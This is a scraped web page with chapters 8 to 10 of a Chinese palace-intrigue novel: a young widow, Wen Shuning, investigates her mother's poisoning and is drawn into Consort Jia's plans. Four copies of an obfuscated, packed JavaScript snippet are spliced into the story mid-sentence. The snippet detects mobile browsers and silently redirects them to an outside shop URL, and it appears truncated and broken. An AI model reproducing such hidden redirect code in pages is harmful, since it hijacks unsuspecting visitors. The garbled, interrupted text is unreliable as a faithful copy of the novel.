;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908862|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是秦夫人,她现在嫁进了徐家,母亲肯定不会置之不理,可用府中的银两去平一个素未蒙面的侄子的帐,还不是小数目,母亲定然是头疼不已。 “少夫人不会是想用这些去还这些欠款吧?”霜怜看着桌上的盒子,脸上尽是不愿。 温书宁将名单折起来放在盒子上面,说道:“你跟长盈一起,照着这个名单把钱还了,应该是够的,要是不够的话再跟我说,我来想办法,千万不要让母亲知道了,老夫人现在还卧病在床,母亲日夜照料,很辛苦了。” 霜怜点点头,抱着盒子跟长盈从侧门出去。 温书宁站在门口,看着杏树,不知想到了什么,眼泪从眼角滑落,她吸了吸鼻子,转身进了屋,从箱子里拿出母亲的琵琶,学着母亲坐在屋檐下,弹着母亲常弹的那首曲子。 温温柔柔的哀伤曲调随着风越来越远,她感觉自己仿佛回到了很早之前,那个时候母亲还是正当红的鹤楼头牌,一首琵琶曲能值千金,当地的达官显贵哪个不是争着抢着踏破了门槛求娶母亲,即便有个女儿也是不介意的,可母亲偏偏要等着父亲,等到最后,即便是死了也没能见上父亲一面。 - 魏夫人去祠堂思过,没有老夫人放话出不来,期间秦夫人去看望过两次,都被赶了出来,徐二爷给过两次休书,都被魏夫人烧成了灰,还说只要她不死就永远别想休妻。 温书宁牢牢记着徐言璟说过的话,很少过问他们二房的事情,每日就在院中练练琵琶,晚间陪母亲说说话,偶尔得了传召去宫中问贵妃娘娘安。 时间如白驹过隙,转眼间便到了六月底,天气炎热,玉兰居院子里的那棵杏树上每天都有虫在叫,老夫人自从病过之后身体就每况愈下,嘴里稀里糊涂地念叨着“孙子”。 秦夫人倒是有个儿子,只是三月份魏夫人闹过一次之后那孩子便没了踪影,连她这个做母亲的也不知道下落,更别说旁的人了。 “少夫人,天气炎热,喝碗凉茶吧。”霜怜提了一壶凉茶来,“长盈,你也喝。” 长盈今早得嘉贵妃传召,刚才到府,接过霜怜递来的茶喝了一大口,三人坐在屋檐底下乘凉,她坐在温书宁旁边的小杌子上,从袖中拿出一封信,说道:“少夫人,这是贵妃娘娘让我给你的。” 温书宁接过信,捏在手里踌躇了片刻才将信展开,嘉贵妃的字写的非常好看,笔锋温和,一看便知是时常练字,但那些字合在一起却令她浑身发冷,指尖忍不住捏紧纸边,手微微颤抖。 她的身份在徐家人面前藏不住这是早就料到的事情,但是她万万没想到嘉贵妃竟然会查她母亲。 霜怜看出她不对劲,问道:“少夫人,怎么了?” 说完转头又问长盈:“嘉贵妃可有让你带话?” “有,”长盈说:“嘉贵妃说字字句句,无有作假,是什么事啊?” “没什么。”温书宁把纸揉成团,对长盈说:“明日我会进宫看望贵妃娘娘的。” 长盈:“是,我这就去回禀贵妃娘娘。” 待她走了之后温书宁便让霜怜准备一辆马车,在进宫之前她还有一件事情要做。 霜怜什么也没问,转身下去准备了。 等院中空无一人时温书宁便把那揉皱的纸团展开,逐字看去,只觉得如坠冰窖,她不是没想过母亲的死并不是意外,但没想到可能会是父亲下的手。 8. 第 8 章 正午日头正盛,徐家的马车通常都非常华丽,像一座小阁楼,梨花木车顶,六角都缀着琉璃珠串,纱帘摇曳,露出里面少女清淡的侧颜。 温书宁坐在里面,手上绞紧了帕子,额头渗出细密的汗珠,心脏砰砰直跳,当初走的急,什么都没收拾,母亲用的那套茶具也只是草草地放在了中堂的桌子上,若嘉贵妃说的是真的,那茶盏里一定会留有证据。 这条路是几个月前她来京城的路,如今再走上这条路,心境已经截然不同了。 日夜兼程,到扬州梧桐巷的时候已经是两日后了,车夫不是府中的人,是她花五两银子去街上请的,到了地方那车夫觉得辛苦,硬生生问她多要了五两才作罢。 温书宁看着荒凉的胡同口,这才几个月而已,没有人气儿的地方竟然衰败的如此之快,左右的街坊邻里这会儿都在家,远远地瞧见她竟一时不敢上前来认,只不确定地轻喊:“阿水丫头?” 一声久违的称呼让她从恍惚间回过神,这个巷子口旁边有一棵很大的树,如今正值盛夏,斑驳的树影落在她身上,有些晃眼,她抬手捏着衣袖沾了沾眼角,转身同那人笑道:“婶子。” 她长得好看,从小嘴巴就甜,隔壁四邻的人都很喜欢她,有时候温韵忙,赶不及回来给她做饭她便今天去这家,明天去那家,也算是吃百家饭长大的。 她口中的婶子是个寡妇,姓林,丈夫在她年轻的时候就战死沙场了,儿子从军,也没回来,她每个月拿着朝廷的抚恤银子,日子过的还凑合,至少没有风餐露宿。 在成婚之前她还不是很明白对方为什么不再嫁,若是再嫁,至少要比现在自己一个人过得好很多,如今她也成了年轻的寡妇,才知道自己那时候的想法有多恶毒。 林婶子放下手中正择的菜,走到温书宁面前转着圈儿地看,眼睛也红了,“过得好,过得好,你那时候走的仓促,都没跟婶子说一声,婶子在家就担心你过得不好,现在瞧着,我也放心了,你娘也放心。” 提起母亲,温书宁又想到了那封信,脸色沉了些,问道:“婶子,我走之后可有人来过这里?” “你走之后……”林婶子思忖着,摇摇头,“你走了之后没人来了,怎么了?可是落了什么东西?” 她担心跟婶子说了之后黎朝会来找婶子麻烦,便只说想母亲了,回来看看,顺便收拾母亲的遗物,婶子懂她,寒暄了几句便没再问,只让她晚上来吃饭。 温书宁应着推开了沉重的家门。 温韵的院子采光不是最好的,一天中有半天晒不到太阳,她在的时候会请人来砍掉一些遮阳的树枝,现在没人砍树枝,空气中混杂着泥土腥味和潮湿的霉味,正堂的门锁着,温书宁走到窗户下熟练地半开一块石头从下面拿出钥匙开锁。 门被打开,入目便是母亲临走前用过的茶盏,东倒西歪地放在桌上,桌面蒙上了一层薄灰,屋中陈设如昨,她看着摇晃的珠帘,那边正对着窗户放着一张妆台,似乎还能看见母亲坐在窗下拿着木梳梳发,撩开珠帘走过去,蒙尘的铜镜中模糊映着她与母亲八分像的面容。 她伸出手去,“母亲……” 许是她的力气用的比较大,铜镜被她碰倒,在桌面上发出很大的响声,她恍惚回神,轻叹气,偏头看向床榻的方向,从枕头低下摸出一张小像。 还记得画这张小像的时候是她十岁生日,那天母亲回来要带她出去吃晚饭,回来的时候看见街边有画师,母亲便花了一两银子让画师画了这张小像,是母亲和她。 她将小像收好,出门的时候把桌上的茶盏也带走了,梧桐巷还是老样子,邻居们看见她都邀请她去家里吃饭,她笑笑:“谢谢大家,我今天在林婶子家吃,她这会儿正准备着呢。” 俏皮的模样惹得众人哈哈大笑,指着她说道:“你呀,小鬼头一个,下次回来的时候来我家吃啊。” “一定一定。”温书宁捧着裹着茶具的包裹跑上了桥,桥头有一家医馆,自己生病的时候母亲就经常带她来这家医馆抓药。 医馆的掌柜认识她,见她来便乐呵呵问道:“阿水丫头,这是生病了?难道京城还没有比老夫更好的大夫了?” 她摇摇头,把怀中的茶具放在桌案上,“邱伯,你帮我看看。” 见她正神色,邱伯疑惑道:“怎么了?” “我母亲去世前用这个泡过茶。”温书宁的话没说完,邱伯已经明白她的意思了,拿着茶具仔细研究。 她继续说:“之前是我大意了,以为我娘是因为我爹才自杀的,但是现在想想,我娘那么好,怎么可能会自杀?即便等不到我爹来接她,自己走也能走到京城。” 邱伯把水倒进了杯盏里晃了晃,倒进杯中,端详了片刻才说:“阿水丫头啊,你娘是服毒了,这个水里掺了川乌,附子,半夏和瓜蒌等等,这几样单用都没事,但是混在一起熬成药茶喝下去那是药石无医啊。” 邱伯惋惜地摇摇头。 闻言温书宁踉跄了一下,身型摇晃,扶着桌案好一会儿才稳住心神。 母亲没学过医,那些草药别说晒干了就是长在地里都不一定能认得出来,怎么就会精准挑到这几样去泡茶呢?一定是有人暗害! 她红着眼收拾了茶具,低声道谢:“多谢邱伯。” 如果杀害母亲的人真的是父亲,那母亲这些年的等待又算什么呢? 阳光落在她身上,毛茸茸的浅金色给她镶了一圈毛茸茸的金边,站在青石桥上,桥下水波荡漾,倒映着她的脸,一滴晶莹的泪砸在水里,激起一圈圈涟漪。 她一定要找到杀害母亲的真凶,为母亲报仇! - 马车驶离扬州城,进了京城,她没回将军府,转而去了黎家。 回来的路上她想过了,有她在,黎家和徐家就是一条绳上的蚂蚱,嘉贵妃不会平白无故指认父亲,说不定在黎家能够找到一星半点儿的线索。 她回来有些晚,也没托人提前说,黎家的府门紧闭,连看门的小厮都不在,这么多天过去了,看来宋钰的事情还没解决。 温书宁下马车走到门前叩响铜环,片刻后就有人来开了门,开门的是时夫人身边的云妈妈,时夫人的陪嫁丫鬟,见她来云妈妈往身后看了看,将门拉开了一条缝, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908863|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二小姐快些进来。” “云妈妈,怎么了?” 云妈妈说:“二小姐在将军府后院不出门是不知道,这几天城中发生了怪事儿。” 她说的稀奇神秘,温书宁感兴趣地问:“怪事?” “是啊,”云妈妈小声说:“锦衣卫的指挥佥事被人勒死在家里啦。” 温书宁惊讶:“勒死了?” 云妈妈继续说:“是呀,事情怪的很嘞,白天的时候还好好的,晚上就死啦,值夜的小厮说当天没人进出过房间,就这样莫名其妙地被勒死啦!” 老人就爱把事情说的神乎其神,跟扬州城胡同巷子里的那些婶子们一样,温书宁笑了笑,接连死了两个人,这下黎朝可有的忙了。 自从徐言璟去世之后黎朝便没怎么让她关注将军府,反倒是见她时常入宫,写过一两封信让她千万要稳好嘉贵妃这棵大树。 书房的烛火还亮着,云妈妈把她带到了书房门口,她敲响房门,里面传来一道沧桑的声音,“进。” 黎朝不知道来人是谁,桌案上的卷宗把他整个人都挡住了,他没抬头,以为是刑部来人送有关案情的卷宗,说道:“放旁边桌子上吧。” 温书宁看着他,在原地站了片刻,夏天的晚上闷热,书房里没有放风车,她额前的碎发被汗水浸湿,黏在皮肤上,许久她才喊:“父亲。” 黎朝落笔的手顿住,朱红色的墨滴在纸张上,晕开一大块,他抬起头看着温书宁,拧着眉问道:“宁儿,你怎么来了?” 温书宁熟稔地走到桌边研墨,“女儿想回家住几天。” 她跟父亲见面的次数寥寥,除了第一次,这是第二次在他面前这样乖顺。 “可是徐家出了什么事?”黎朝搁下笔,声音里带着疲惫,语重心长说道:“你没有忘记父亲之前跟你说的话吧?徐言璟虽然不在了,但你依旧是徐家的人,如今徐家没有因为徐言璟的离世就薄待你这是好事,你可千万别做傻事。” 傻事? 温书宁研墨的手加重了几分力道,说到底还是怕她回了黎家之后影响到他在朝堂上跟徐家的往来,也影响到黎初意在宫中的处境。 哪里是怕她做傻事? “父亲放心,我已经同婆母说过了,只是回来住几天罢了。” 她的这句话让黎朝的心放进了肚子里,笑着说:“行,你的院子一直给你留着,每天都在打扫,缺什么就跟你主母说,现在天色晚了,快回去休息吧。” 她放下墨条,起身,“案卷是看不完的,父亲也早点休息。” 黎朝口中所说的“你的院子”其实就是一间厢房,是她回来第一天住的,不大,很僻静,适合她现在要做的事情。 方才借着研墨,她看清了桌上的案卷,是锦衣卫指挥佥事陆禹的生平和检验尸体的记录,陆禹的交际范围不大,除了锦衣卫的几个兄弟就是老家的亲戚朋友,记录上他确实是被勒死的,身体上没有别的伤口。 回到住处她撑着下巴坐在桌边,陆禹是锦衣卫出来的,经常锻炼且身形高大,什么样的人能够活活把他给勒死还不留痕迹? 9. 第 9 章 月明星稀,温书宁思索半晌也想不出来什么人有这么大的能耐,只能作罢,简单梳洗一番便睡了。 次日醒来就看见长盈忙进忙出,霜怜则吩咐着几名丫鬟小厮打扫庭院,吵吵闹闹的声音让原本寂寥的院子变得热闹起来。 温书宁端着茶靠着门,问道:“你们怎么来了?” 长盈抱着琵琶递给她,回答:“今早夫人听闻少夫人回了黎家,便让我和霜怜姐姐带上一些用得惯了的下人们来。” 温书宁点点头,对霜怜说:“徐言璟的书房可有一本诗集?你晚些时候帮我去找找。” 霜怜笑着朝她点头,指着角落里除草的小厮,“这些草根上的土都抖下来,还要种花的。” 小厮连忙把草根上的土都抖落下来,继续自己的事情,天气炎热,没一会儿他们身上的衣裳都被汗水浸湿了,霜怜撑着伞从厨房出来,“都休息吧,来喝些冰酒酿。” 小厮丫鬟们一拥而上,霜怜端着三碗走到屋内,“少夫人也尝尝,往日夏天二公子最喜欢喝这个了,清凉又解暑。” 温书宁捧着冰酒酿,坐在书桌前看着桌上的《京城风物志》,问道:“徐言璟是个什么样的人啊?” 霜怜和长盈一左一右坐在她两边,霜怜说:“二公子武功高强,十三岁便跟着将军上战场,燕岚关那一战,二公子一战成名,从十三岁到二十三岁从无败绩,可惜了……” “而且我还听说当年许多世家小姐都想嫁给二公子呢,”长盈“嗯”了一声:“霜怜姐姐,你还记不记得去年工部侍郎家的小姐在常春园给二公子送荷包的事情?” 霜怜点点头。 温书宁来了兴趣,问道:“什么事啊?” “就是那个侍郎家的小姐爱慕二公子已久,在皇后娘娘举办的赏春宴上给二公子送荷包,但是二公子看都没看她,留下了一句话,”长盈重重咳嗽两声,装模做样地说:“不好意思这位小姐,我不喜欢弱柳扶风的女子,不如你先去锻炼身体?等你练好了,同我比上一比,赢了我就答应你如何?” “哈哈哈哈哈……”霜怜乐了,温书宁也在旁边轻笑。 “你们可别笑,那小姐当真回去练了。” “然后呢?” 长盈:“自然是放弃咯,京城有几个男子能赢得过二公子?更何况一个娇滴滴的小姐,从那以后京中便流传出想要做徐家的少夫人,必须要身体好,还要能打得过二公子。” 三人笑谈着,不知何时门口站了人,温书宁抬头看去,就见时夫人站在门口,身后跟着云妈妈,她站起身,“主母。” “好孩子,”时夫人笑着走过去牵着她的手,“你父亲这几日公务缠身,你有什么需要尽管跟我说。” 霜怜和长盈退至一边。 温书宁被时夫人牵着一起坐下,时夫人看见桌上摊开的书,好奇道:“宁宁喜欢看这些?别的女孩子都爱看些爱情话本。” “无聊打发时间,以前跟母亲在扬州的时候看过话本,现在换换口味,这些书看起来倒也有趣得很。” 时夫人知道她口中的母亲是谁,听她提起便故作哀伤,说道:“你也别太伤心了,如今你过得好,想必妹妹在天上也会觉得欣慰,对了,前几日贵妃娘娘召你入宫,你可见到你姐姐了?她如何了?” 温书宁垂下眼睫,就说无事不登三宝殿,原来是为了打听黎初意,可是她几番进宫连黎初意的面都没见到呢。 于是胡诌:“姐姐过的很好,陛下没有因为父亲而迁怒姐姐,主母放心。” 时夫人笑了笑,目的达到,她也不久留了,起身便要告辞,“那就好,日后若是再进宫,记得替母亲给你姐姐带声好。” 温书宁温顺地点点头,脸上带着得体的笑,问道:“主母,我晚些时想出府一趟。” “你想去哪儿便去,不用同我知会。”云妈妈扶着时夫人离开。 两人走到后院的假山处云妈妈才说:“二小姐出门用不用奴婢派人跟着?” “不用,”时夫人摆手,“她才刚来京城多久?又在徐家那么久不出门,这京城有几条街怕是都没数清,跟着她也是浪费时间,她真以为嫁进徐家就可以高枕无忧了?” 云妈妈笑得灿烂,“夫人说的是。” 温书宁看着时夫人离开的方向脸上的笑瞬间消失,坐下后问道:“霜怜,今天我跟你一起出去,顺便去一趟刑部。” “少夫人去刑部做什么?” “看望父亲。” 傍晚。 夕阳刚落下,温书宁就换了衣裳戴着帷帽出了门,马车在徐家侧门停下,她跟着霜怜从侧门进入,一路绕进了玉兰居,徐言璟的书房很大,上下两层,基本都是兵书,霜怜在一楼,她在二楼,两人找了两个时辰,直到月亮升起也没找到想要的书。 温书宁跟霜怜累的靠在一起坐在屋檐下,“怎么会没有呢?我明明看见了。” 霜怜问:“少夫人确定看见了吗?会不会看错了?二公子可不太爱看诗集的。” “不会,我没看错,是一个绿色的,封面上有一棵柿子树。”温书宁皱着眉,她不知道徐言璟是哪里来的这本书,但是这本书是她母亲的。 她站起来拍拍裙子上的灰,“再找找吧。” 两人交换着找,这次温书宁找一楼,一楼翻遍了之后她站在窗边,仰头看着月亮,抬手擦了额头的汗珠,转身往寝屋跑去,屋子里的书桌后面还有一架书柜,上面也有徐言璟的书。 她端着烛火,仔仔细细地在书柜上搜寻,一排排看去全是兵书,并没有其它的书参杂在其中,叹了口气,正想罢了转眼就瞧见最下方的垫子上有半个脚印,而书柜的角落,空了一本书的位置。 徐言璟走了之后他的东西都是她亲手整理的,这个书柜她不常打扫,也从没让别人打扫过,所以蒙上了一层灰,她将烛台靠近,果然看见那个原本放书的地方没有灰。 有人来过。 温书宁眨了眨眼,昏黄的烛火打在她的脸上,睫毛的阴影落在眼下,脸颊上的汗毛都十分清晰,看着空出来的书位思索。 徐言璟病故已久,能够回来拿走那本书的只有他的结交好友,只是那一个月里她从未见过徐言璟任何一个好友上门看望过他,她叹了口气,看来只能问问霜怜了。 从将军府出来前往刑部的路上迎面撞上了黎朝的马车,温书宁掀开车帘,霜怜伸手扶着她下马车。 “父亲。” 黎朝坐在马车里,打开窗看她,见她深夜在这里,皱眉问道:“你怎么在这?” “主母说父亲这几日忙于公务,经常晚归,案卷堆积的时候也会宿在刑部,女儿见父亲还没回,便带了刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908864|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熬好的红豆粥打算去刑部看父亲。”温书宁看着他,未施粉黛的脸上显露出些许苍白。 黎朝听到红豆粥神色微变,浑浊的眸子朝她身后看去,果然瞧见霜怜手上提着食盒,“上来吧。” 霜怜闻言伸手扶着她上了马车,温书宁从霜怜手上拿过食盒打开,里面放着一碗热腾腾的红豆粥,她端起来递给黎朝,“父亲趁热喝。” “这是你做的?”黎朝端着碗,拿着汤匙搅了搅,浓稠的粥散发出红豆的甜香。 “是。” 黎朝吃了两口,说道:“你母亲也会做这个红豆粥,你的手艺还是没有韵娘的好。” 温书宁点头,笑道:“女儿不常做,自然比不得母亲,” 马车摇摇晃晃到了黎府门口,温书宁别过父亲就回了院子,霜怜跟在她身后,趁着黎朝走远了才说:“幸好这家店还没关门,不然这红豆粥还不一定买得到。” “霜怜姐姐,”温书宁拉着她走到桌案前坐下,“我有件事想问你。” 霜怜是家生子,母亲是老夫人的陪嫁丫鬟,在府中做事也有二十多年了,比徐言璟还要大上三岁,以前在赵夫人身边伺候,温书宁跟徐言璟成婚后便被赵夫人遣到了玉兰居。 “少夫人想问什么?” 温书宁倒了杯茶递给她,“你先喝茶。” 霜怜抿了一口,长长“嗯”了一声:“好茶呀。” “父亲书房待客用的,我偷了一些来。”温书宁笑得狡黠。 “现在可以说了吧?” 温书宁说:“刚才没有在书房找到我想要的书,于是我就回了房间,房间书柜的最下排角落里有一个崭新的空位,所以我猜测那个地方原本放的就是我想要的那本书,玉兰居平时除了按时过来做杂扫的丫鬟就只有你和我还有长盈,又有谁会拿走那本书呢?” 霜怜问:“会不会是长盈?” “不是,”她说:“书柜旁边的垫子上有半个脚印,我一看就知道是男子的,所以我想知道徐言璟有没有交好的好友?” “好友……”霜怜琢磨了一下,似乎是想到一个人,恍然片刻又皱起了眉:“应该不是他。” “谁啊?”温书宁好奇问到。 “容修。” “容修?” 霜怜说:“他是二公子三年前在敌营救下的一个刺客,为了救他二公子还受了伤,坠下山崖,回来的时候身上满是伤,夫人为此还伤心了好一阵。” “只有他一个人吗?还有没有别的好友?比如同窗,或者是战友?” “没有。” 她回答的很肯定,温书宁想了想,问道:“那你知不知道容修现在在哪里?” “应该在琼楼吧。” “琼楼?” 霜怜捧着她的脸,说道:“我也不确定,只是很久之前看到过他寄给二公子的信,落款是印着琼楼的印章。” 温书宁双手握住她的手腕,哼哼道:“不要捏啦,再捏我可就要哭了。” 霜怜拉着她起来坐在铜镜前给她卸下妆发,温书宁看着镜子里的人,忽然想到了什么,朝着门外喊道:“长盈。” 长盈放下蒲扇站起来推门,“少夫人,什么事?” “我有些想贵妃娘娘了。” 长盈一听便知道什么意思,应了声好便转身出去了。 10. 第 10 章 次日一早嘉贵妃就派遣身边的近侍嬷嬷来接她入宫,“少夫人,请随奴婢上车。” 温书宁看着面前奢华的大马车问道:“不是乘坐黎府的马车吗?” 嬷嬷回答:“娘娘特意给少夫人备好了马车,少夫人,请吧。” 她这次进宫谁也没有带,嘉贵妃许是早就知道她会来,对于她昨天让长盈传的话并不意外,温书宁跪地行礼,“臣女参见贵妃娘娘。” “起来吧,”嘉贵妃半躺在贵妃椅上,旁边两名宫女执扇轻摇,宫殿的空气中充斥着焚香的味道,嘉贵妃掀开眼皮看着她,“想好了?” 温书宁低眉垂眼没有说话,嘉贵妃盯着她片刻,忽然嗤笑:“你觉得本宫在骗你?你母亲的事情本宫差人查了半个月,字字句句所言非虚,你觉得本宫会用这种事情骗你?” “贵妃娘娘误会了,我自是相信您的,只是这件事情我还没有找到证据,一时不敢随意怀疑父亲,”温书宁顿了顿,说道:“上次娘娘说得了一封信件,能否再给臣女看看?” 嘉贵妃闻言朝身后摆手,站在旁边的嬷嬷立刻会意,转身走去屏风后拿来了信递给温书宁。 她接过信展开,并没有看内容,直直看向右下角,果然有一个琼楼的章印,指腹摩挲着突起的印章,上次看的匆忙,竟忽略了这信纸的角落,片刻后将信折好递给嬷嬷,“谢娘娘。” 她本是猜测,没想到这封信果真出自琼楼。 “怎么样?这司记一职你接是不接?”嘉贵妃坐直了身子,手肘撑着椅靠,好整以暇地望着她。 温书宁不是蠢人,嘉贵妃不可能平白无辜帮她,更不可能仅凭一封来历不明的信就信任她,“贵妃娘娘请直言。” “这才对嘛,”嘉贵妃笑了笑,说道:“本宫要你助恒儿登上太子之位!” 温书宁震惊抬眸,瞳孔轻颤,闻言立刻跪下俯首,“臣女不敢。” 陛下子嗣单薄,登基至今也只有两位皇子和一位公主,太子萧怀煜是皇后所生,十二岁被立为太子,二皇子萧濯恒是嘉贵妃所生,年仅十五,明懿公主萧妙仪是一位贵人所生,生她的时候贵人难产,没有活下来,明懿公主从小就养在太后宫中,现在也没人见过。 温书宁听长盈说至今都没人见过这位公主的真容,哪怕是在太子的册封礼上也没有露过面,太子此人心狠手辣,城府极深,俗称菩萨面阎罗心,长盈跟她讲的时候就怕的不行,她虽然没有见过,但是也想像得出来是怎样一个人,二皇子天真聪慧,嘉贵妃想要从这样一个人手里替二皇子争得太子之位,胜算渺茫。 嘉贵妃听闻她这样回答,脸色瞬间就变了,“不敢?本宫怎么不知道你的胆子这么小?” 温书宁跪在地上不敢说话。 “罢了,你若实在不愿,那你母亲的事情本宫也决计不会再插手半分,”嘉贵妃叹了口气,靠在椅子上,“回去吧。” 温书宁犹豫着,除了父亲,她在京城举目无亲,想要弄清楚母亲死亡的真相必须要有人相助,嘉贵妃肯帮她对她来说是件好事,若母亲真的是被人害死的,她当真就此放过真凶? “贵妃娘娘想让臣女如何做?” 见她应承下来,嘉贵妃笑着说:“不必害怕,这位是言嬷嬷,入宫之后你便住在小棠园,有什么不懂或者不知道的问言嬷嬷就行。” “是。” - 从皇宫出来已是正午,日头太晒,她脸颊热的泛红,回到黎府之后霜怜拿来浸过冰凉井水的石头给她降温。 “少夫人当真要入宫做女官?” 温书宁捧着石头,“贵妃娘娘旨意,我岂敢拒绝呀?” 霜怜叹道:“你若是不愿,可以与夫人说明,贵妃娘娘必不会强求。” “不用了,正好我成日在家里也无事可做,”温书宁笑了笑:“对了,你昨日跟我说的徐言璟那个叫容修的朋友,他经常在琼楼吗?” 霜怜拧帕子的手一顿,当即惊道:“少夫人要去找他?!” “嗯,”温书宁点点头,“我想问问那本书是不是他拿走了。” “琼楼是做什么的知道吗?”霜怜给她换了一块帕子包裹石头,轻声说:“琼楼坐落在城外庙后,俗称黑市,楼中之人尽做杀人越货之事,到时候你别说见到容修了,提起他怕是连琼楼的门都进不去,即便那本书再重要也没有命重要啊,是不是?” 温书宁捧着冰凉的石头深深叹气,“可是那本书是我母亲的,小时候家里穷,母亲便在家里教我识字读书,那本书母亲可宝贝了,霜怜,我得把它找回来。” 霜怜微怔,没想到这本书是她母亲的,思忖片刻说道:“容修不一定在琼楼,但他身边的打手肯定在,你要去的话一定要把银钱带足了,就算你不小心惹了事,拿钱也能摆平。” 温书宁说:“我不找他们杀人。” “我知道,来,我看看,”霜怜看着她脸上晒红的地方消下去了些,收了石头和凉水,说道:“见容修也是要花钱的,不然别人白给你见?到时候说不定就连那本书也得花钱买回来。” 温书宁蔫了下去,她的银钱上次都给了来府里讨债的那些人,哪里还有足够的银子? 窗外的阳光照进房间,桌上的香炉青烟袅袅,她躺在床塌上盯着纱帐,昏昏沉沉睡了过去,不知睡了多久,她做了个梦,梦里她见到了一个跟自己一模一样的女子,那女子很爱笑,说要跟她交朋友,她们坐在一棵巨大的参天树下,周围是一望无际的绿茵,青草地里长着白色花瓣的小花,还有蒲公英,随着一阵风吹过,蒲公英随风而去,散落在各处。 女子拉着她的手说:“你跟我长得好像,你该不会是我爹的私生女吧?” 她的心猛然被提起,连忙摆手说:“不是,我父亲只有我和姐姐两个女儿。” “扑哧,”女子笑了,“逗你玩呢,我家只有我一个孩子,真神奇啊,世上竟然真的有一模一样的两个人。” “确实很神奇,我也是第一次见,我叫温书宁,你叫什么名字啊?” “我叫——” 周围突然白雾腾升,面前少女的嘴不停张合,温书宁却听不见声音,也不知道她说了什么,雾越来越浓,只一眨眼的时间面前的少女竟然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908865|192435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消失不见了,而她回到了将军府后院,坐在树下弹枇杷,徐言璟坐在窗户后看着她,眼里带着笑,她抬头看着他,愣神间窗户那里的人就不见了,耳边传来或轻或重的呜咽哭泣声,由远及近,又由近及远,她垂眼,身上原本华丽的彩衣变成了素白的丧服,面前是一口棺椁。 这是……徐言璟的葬礼! 她不由自主地呜咽出声,“徐言璟……不要死……不要……” 场景不停变换,走马灯似的快速旋转,直到她最终回到黎家,温书宁猛地惊醒,坐起来时不小心扯到了纱帐,打翻了床边桌子上的杯子,里面的水撒了一地,她大口喘气,伸手扶着额角,却摸到了满手的汗。 窗外暮色降临,月光如雪洒落,她起身走到门口,院子里空无一人,看着天上的月亮,突然想到了母亲和徐言璟,也不知道她们在天上过的好不好。 她喃喃道:“母亲,如果父亲真的是杀害您的真凶,您希望我怎么做?” 夏夜的风燥热,她刚出了汗,现在身上非常粘,打算先去洗漱一番,霜怜和长盈都不在,她走到厨房,熟练地打火添柴烧水,这个院子的厨房许久没用了,屋外墙角有青苔顺着往上爬,最后被晒干,等到潮湿的时候再次生长起来,继续爬,灶中的火光映照在她脸上闪烁,她再次思考起如果父亲真的是杀害母亲的凶手,她该怎么办? 她拿起一根柴狠狠戳进火中,火星子迸溅出来,一瞬间又消失下去。 - 次日天还未亮温书宁便收拾着自己的首饰头面,装了满满一盒子,趁着没人从侧门溜了出去,天边靛蓝,街上行人不多,她穿着简单的裙裳穿梭在街巷之中。 琼楼不难找,只是离朱雀街过远,在城外,她若是不趁早出发,只怕连容修身边的打手都不一定见得到,城西有一座土地庙,庙的后面有一座四层高楼,楼外青瓦琉璃角,朱门轩窗,檐下挂着雨霖铃,大门门楣上挂着写有“琼楼”两字的牌匾。 温书宁站在门口,仰头看着这繁华高大的楼宇,即便此时天还未亮,但进出的人不少,她跟着那些人进去,入眼的便是一座莲花台,台上有几名女子在跳舞,她的视线往上,二楼外间坐着不少人,单看衣着便知道是富商世家之人。 楼中丝竹声响,曲音绕梁,跳舞的舞姬也是个顶个儿的貌美,莲花台前面坐着许多散客,如痴如醉地盯着台上的舞姬。 “这位小娘子可是要听曲儿?” 温书宁看向问自己话的小厮,“不是,我要见容修。” 小厮脸色一变,朝后面看去,温书宁顺着他的视线看过去,就看见一个墨发青衣的男子站在角落不甚惹眼的柜台处数着银子,察觉到视线,男子抬头,后又低头。 小厮会意,对温书宁说:“实在不好意思,今儿我们东家不在,您改日再来吧。” 温书宁没有动,只说:“我想见你们东家,想问问他关于徐言璟的事情。” 